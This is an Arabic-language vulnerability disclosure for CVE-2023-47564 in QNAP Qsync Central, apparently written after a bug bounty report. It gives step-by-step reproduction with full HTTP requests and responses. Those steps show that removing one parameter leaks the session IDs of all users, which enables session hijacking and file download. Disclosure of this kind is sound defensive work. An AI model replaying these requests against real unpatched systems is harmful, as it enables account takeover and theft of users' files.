
CVE-2023-47564
"تم الإبلاغ عن ثغرة أمنية تتعلق بتعيين أذونات غير صحيح لمورد حاسم تؤثر على Qsync Central. إذا تم استغلالها، فقد تسمح الثغرة للمستخدمين المُوثقين بقراءة أو تعديل المورد عبر الشبكة."
تاريخ الاكتشاف: 5 ديسمبر 2023
تاريخ الإصلاح: 3 فبراير 2024
الإصدارات المتأثرة: Qsync Central 4.4.x، Qsync Central 4.3.x
الإصدارات المُصححة: Qsync Central 4.4.0.15 (2024/01/04) والإصدارات الأحدث، Qsync Central 4.3.0.11 (2024/01/11) والإصدارات الأحدث
الملخص:
أثناء اختبار اختراق حديث، حصلت على وصول إلى نظام QNAP كمستخدم منخفض الصلاحيات (هنا user123). لم تكن هناك ملفات مثيرة للاهتمام، لذا بحثت أعمق قليلاً.
على النظام، كان تطبيق Qsync Central App (https://www.qnap.com/en/app_releasenotes/list.php?app_choose=QsyncServer) قيد التشغيل فقط.
أولاً، حاولت العثور على قائمة بجميع المستخدمين المتاحين وتفحصت سجل البروكسي الخاص بي. صادفت نقطة النهاية /cgi-bin/qsync/qboxRequest.cgi.
كشفت نقطة النهاية هذه معلومات حول حساب المستخدم الحالي الخاص بي وأيضًا معرف الجلسة الحالي (sid).
كان الطلب على النحو التالي:
GET /cgi-bin/qsync/qboxRequest.cgi?sid=60ud018n&_dc=1701766637869&subfunc=qbox&genQboxDeviceList=1&sort=1&filteruser=user123 HTTP/2
Host: vulnhost.com
Cookie: DESKTOP=1; WINDOW_MODE=1; nas_wfm_tree_x=200; QSYNC_SID=60ud018n; QSYNC_USER=user123; NAS_SID=60ud018n; QT=1701766635952
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://vulnhost.com/cgi-bin/
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
وكان الرد:
HTTP/2 200 OK
Server:
[...]
<data>
<device>
<id><![CDATA[REDACTED]]></id>
<type><![CDATA[3]]></type>
<time><![CDATA[2023-12-05 09:57:14]]></time>
<user><![CDATA[user123]]></user>
<ip><![CDATA[REDACTED]]></ip>
<sid><![CDATA[60ud018n]]></sid>
<uid><![CDATA[REDACTED]]></uid>
<action><![CDATA[1]]></action>
<comp><![CDATA[Qsync-File Station]]></comp>
<desc><![CDATA[File Station login Qsync]]></desc>
<channel><![CDATA[0]]></channel>
<online><![CDATA[0]]></online>
<version><![CDATA[]]></version>
<QsyncPath><![CDATA[/home/.Qsync]]></QsyncPath>
</device>
</data>
<ret>0</ret>
</logroot>
</QDocRoot>
المثير للاهتمام كان وسيط filteruser. لقد قمت بإزالته ولدهشتي، تم إرجاع قائمة بجميع المستخدمين ومعرفات جلساتهم!
وهكذا تمكنت من اختطاف جلسة كل مستخدم آخر مسجل دخول. كإثبات للمفهوم، استخدمت إحدى الجلسات لتسجيل الدخول كمستخدم مختلف.
أبلغت عن الثغرة الأمنية لبرنامج مكافآت bugs في QNAP. كان التواصل سهلاً وتم نشر الإصلاح بسرعة.
خطوات إعادة الإنتاج (بالتفصيل):
سجل الدخول إلى تطبيق QNAP Qsync الويب كمهاجم باستخدام حساب مستخدم عادي منخفض الصلاحيات.
استخرج معرف جلسة المهاجم (sid) من ملف تعريف الارتباط NAS_SID الذي تم تعيينه بواسطة تطبيق Qsync الويب.
استخدم قيمة sid الخاصة بالمهاجم في كل من ملف تعريف الارتباط NAS_SID وفي معامل HTTP GET sid وقم بتنفيذ طلب HTTP التالي:
GET /cgi-bin/qsync/qboxRequest.cgi?sid=yl9osz6l&subfunc=qbox&genQboxDeviceList=1&sort=1 HTTP/2
Host: vulnhost.com
Cookie: NAS_SID=yl9osz6l;
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://vulnhost.com/cgi-bin/
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
يمكن استخراج معرفات الجلسات الصالحة لجميع المستخدمين الآخرين المسجلين حاليًا في تطبيق الويب من استجابة HTTP، على سبيل المثال:
HTTP/2 200 OK
Server:
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' ; object-src 'self' ; worker-src 'self' blob:
Vary: Referer
X-Xss-Protection: 1; mode=block
Strict-Transport-Security: max-age=0
X-Content-Type-Options: nosniff
Content-Type: text/xml
Date: Tue, 05 Dec 2023 10:32:00 GMT
<?xml version="1.0" encoding="UTF-8" ?>
<QDocRoot version="1.0">
<authPassed><![CDATA[1]]></authPassed><model><modelName><![CDATA[TS-X71U]]></modelName><internalModelName><![CDATA[TS-X71]]></internalModelName><platform><![CDATA[TS-NASX86]]></platform><platform_ex><![CDATA[X86_HASWELL]]></platform_ex><customModelName><![CDATA[]]></customModelName><displayModelName><![CDATA[TVS-471U-RP]]></displayModelName><sas_model><![CDATA[0]]></sas_model><storage_v2>1</storage_v2>
<encryptfsSupported><![CDATA[1]]></encryptfsSupported></model>
<firmware><version><![CDATA[5.1.1]]></version><number><![CDATA[2491]]></number><build><![CDATA[20230815]]></build><patch><![CDATA[0]]></patch><buildTime><![CDATA[2023/08/15]]></buildTime></firmware>
<sp><![CDATA[ALPHA]]></sp><rfs_bits><![CDATA[32]]></rfs_bits><specVersion><![CDATA[1.0]]></specVersion><hostname><![CDATA[Data]]></hostname><DemoSiteSuppurt><![CDATA[no]]></DemoSiteSuppurt><customLogo><customFrontLogo><![CDATA[]]></customFrontLogo><customLoginLogo><![CDATA[]]></customLoginLogo></customLogo>
<logroot>
<ADSSupport><![CDATA[1]]></ADSSupport><trustedDomain><enable><![CDATA[0]]></enable></trustedDomain>
<count>239</count>
<data>
<device>
<id><![CDATA[REDACTED]]></id>
<type><![CDATA[3]]></type>
<time><![CDATA[2023-12-05 11:31:50]]></time>
<user><![CDATA[victim]]></user>
<ip><![CDATA[REDACTED]]></ip>
<sid><![CDATA[12345678]]></sid></span>
<uid><![CDATA[REDACTED]]></uid>
<action><![CDATA[1]]></action>
<comp><![CDATA[Qsync-File Station]]></comp>
<desc><![CDATA[File Station login Qsync]]></desc>
<channel><![CDATA[0]]></channel>
<online><![CDATA[1]]></online>
<version><![CDATA[]]></version>
<QsyncPath><![CDATA[/home/.Qsync]]></QsyncPath>
</device>
[...]
توضح لقطة الشاشة التالية هذه المشكلة (لأسباب تتعلق بالخصوصية، تم حجب معرفات الجلسات بالإضافة إلى المعلومات المحددة لنظام QNAP Qsync الذي تم اختباره):
![]() |
|---|
| قيم معرفات الجلسات المسربة |
يمكن للمهاجم استخدام قيم sid المستخرجة لتسجيل الدخول كأي من الضحايا عن طريق تعيين ملف تعريف الارتباط NAS_SID على التوالي. يسمح هذا للمهاجم باختطاف جلسة الضحية وتنزيل أي ملف مخزن على نظام QNAP بواسطة الضحية.